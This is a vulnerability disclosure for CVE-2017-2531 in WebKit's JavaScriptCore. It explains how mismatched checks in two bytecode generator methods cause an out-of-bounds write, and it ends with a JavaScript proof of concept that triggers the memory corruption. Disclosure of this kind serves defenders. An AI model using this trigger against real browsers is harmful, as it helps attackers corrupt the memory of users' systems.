WebKit JSC emitPutDerivedConstructorToArrowFunctionContextScope Incorrect Check

` WebKit: JSC: incorrect check in emitPutDerivedConstructorToArrowFunctionContextScope   
  
CVE-2017-2531  
  
  
When a super expression is used in an arrow function, the following code, which generates bytecode, is called.  
  
if (needsToUpdateArrowFunctionContext() && !codeBlock->isArrowFunction()) {  
bool canReuseLexicalEnvironment = isSimpleParameterList;  
initializeArrowFunctionContextScopeIfNeeded(functionSymbolTable, canReuseLexicalEnvironment);  
emitPutThisToArrowFunctionContextScope();  
emitPutNewTargetToArrowFunctionContextScope();  
emitPutDerivedConstructorToArrowFunctionContextScope();  
}  
  
Here's |emitPutDerivedConstructorToArrowFunctionContextScope|.  
  
void BytecodeGenerator::emitPutDerivedConstructorToArrowFunctionContextScope()  
{  
if ((isConstructor() && constructorKind() == ConstructorKind::Extends) || m_codeBlock->isClassContext()) {  
if (isSuperUsedInInnerArrowFunction()) {  
ASSERT(m_arrowFunctionContextLexicalEnvironmentRegister);  
  
Variable protoScope = variable(propertyNames().builtinNames().derivedConstructorPrivateName());  
emitPutToScope(m_arrowFunctionContextLexicalEnvironmentRegister, protoScope, &m_calleeRegister, DoNotThrowIfNotFound, InitializationMode::Initialization);  
}  
}  
}  
  
|emitPutToScope| is directly called without resolving the scope. This means the scope |m_arrowFunctionContextLexicalEnvironmentRegister| must have a place for |derivedConstructorPrivateName|. And that place is secured in the following method.  
  
void BytecodeGenerator::initializeArrowFunctionContextScopeIfNeeded(SymbolTable* functionSymbolTable, bool canReuseLexicalEnvironment)  
{  
ASSERT(!m_arrowFunctionContextLexicalEnvironmentRegister);  
  
if (canReuseLexicalEnvironment && m_lexicalEnvironmentRegister) {  
...  
if (isConstructor() && constructorKind() == ConstructorKind::Extends && isSuperUsedInInnerArrowFunction()) {  
offset = functionSymbolTable->takeNextScopeOffset(NoLockingNecessary);  
functionSymbolTable->set(NoLockingNecessary, propertyNames().builtinNames().derivedConstructorPrivateName().impl(), SymbolTableEntry(VarOffset(offset)));  
}  
...  
}  
...  
}  
  
But the problem is that the checks in |emitPutDerivedConstructorToArrowFunctionContextScope| and |initializeArrowFunctionContextScopeIfNeeded| are slightly diffrent.  
  
BytecodeGenerator::initializeArrowFunctionContextScopeIfNeeded:  
if (isConstructor() && constructorKind() == ConstructorKind::Extends && isSuperUsedInInnerArrowFunction())  
  
BytecodeGenerator::emitPutDerivedConstructorToArrowFunctionContextScope:  
if ((isConstructor() && constructorKind() == ConstructorKind::Extends) || m_codeBlock->isClassContext()) {  
if (isSuperUsedInInnerArrowFunction()) {  
  
Note: " || m_codeBlock->isClassContext()".  
  
So, in a certain case, it fails to secure the place for |derivedConstructorPrivateName|, but |emitPutToScope| is called, which results in an OOB write.  
  
PoC:  
let args = new Array(0x10000);  
args.fill();  
args = args.map((_, i) => 'a' + i).join(', ');  
  
let gun = eval(`(function () {  
class A {  
  
}  
  
class B extends A {  
constructor(${args}) {  
() => {  
${args};  
super();  
};  
  
class C {  
constructor() {  
}  
  
trigger() {  
(() => {  
super.x;  
})();  
}  
}  
  
return new C();  
}  
}  
  
return new B();  
})()`);  
  
for (let i = 0; i < 0x10000; i++)  
gun.trigger();  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`